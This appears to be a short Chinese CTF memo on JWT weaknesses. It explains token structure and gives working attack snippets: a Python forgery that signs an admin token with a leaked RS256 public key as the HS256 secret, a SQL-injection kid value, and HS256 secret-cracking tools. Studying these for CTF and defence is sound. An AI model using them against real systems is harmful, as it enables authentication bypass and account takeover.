目录

说在前面

这一段时间遇到两次JWT的CTF题,本想好好整理一下,结果搜到一篇文章把我想整理的全写出来了。

文章地址:https://www.anquanke.com/post/id/145540

所以这里就只作为一个备忘录,简单总结一下。

JWT (JSON Web Token)

最常用的网址:https://jwt.io/

JWT由三部分组成:Header(头部), Payload(负载), Signature(签名)

格式为:
Header.Payload.Signature

例如:(HS256)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

或 (RS256)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.POstGetfAytaZS82wHcjoTyoqhMyxXiWdR7Nn7A29DNSl0EiXLdwJ6xC6AfgZWF1bOsS_TuYI3OG85AmiExREkrS6tDfTQ2B3WXlrr-wp5AokiRbz3_oB4OxG-W9KcEEbDRcZc0nH3L7LzYptiy1PtAylQGxHTWZXtGz4ht0bAecBgmpdgXMguEIcoqPJ1n3pIWk_dUZegpqx0Lka21H6XxUTxiy8OcaarA8zdnPUnV6AmNP3ecFawIFYdvJB_cm-GvpCSbr8G8y_Mllj8f4x9nBH8pQux89_6gUY618iYv7tuPWBFfEbLxtF2pZS6YC1aSfLQxeNe8djT9YjpvRZA

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

alg属性表示签名的算法 (默认是 HMAC SHA256 即HS256)
typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

Payload:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

除了官方字段,还可以添加自定义字段。如这里的admin字段就是自定义字段。

Signature:

Signature 部分是对前两部分的签名,防止数据篡改。

服务器使用一个指定的密钥,按照下面的签名算法(默认为HS256)产生签名
(RS256有一个公钥和一个私钥)

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  PUBLIC KEY, PRIVATE KEY)

然后将这三个部分分别base64编码后用“.”连接生成JSON Web Token

话说文章里面的名字取的还蛮不错的。

算法修改攻击

条件:

JWT使用RS256攻击
公钥可知
不可解密私钥(怎么解密也不知道)

利用:

将公钥作为HS256的密钥

使用python脚本生成(用jwt.io生成的用不了)

1
2
3
4
import jwt
import base64
public = open('key.txt', 'r').read()
print(jwt.encode({"name": "name","priv": "admin"}, key=public, algorithm='HS256'))

报错请参考文章内的解决办法

Header头中存在kid字段

通过key查询私钥的语句类似于:

sql="select * from table where kid=$kid"

将kid修改为:

kid = 0 union select 12345

根据环境情况修改kid的值,目的是得到或者控制私钥。

openssl常用命令

//生成私钥
openssl
OpenSSL> genrsa -out rsa_private_key.pem 1024 
//产生公钥
OpenSSL> rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem writing RSA key

密钥爆破

HS256可以尝试一下爆破

工具: https://github.com/brendan-rius/c-jwt-cracker

使用: ./jwtcrack 加密值

使用字典爆破

工具: https://github.com/Sjord/jwtcrack

使用: crackjwt.py JWT dictionary.txt

参考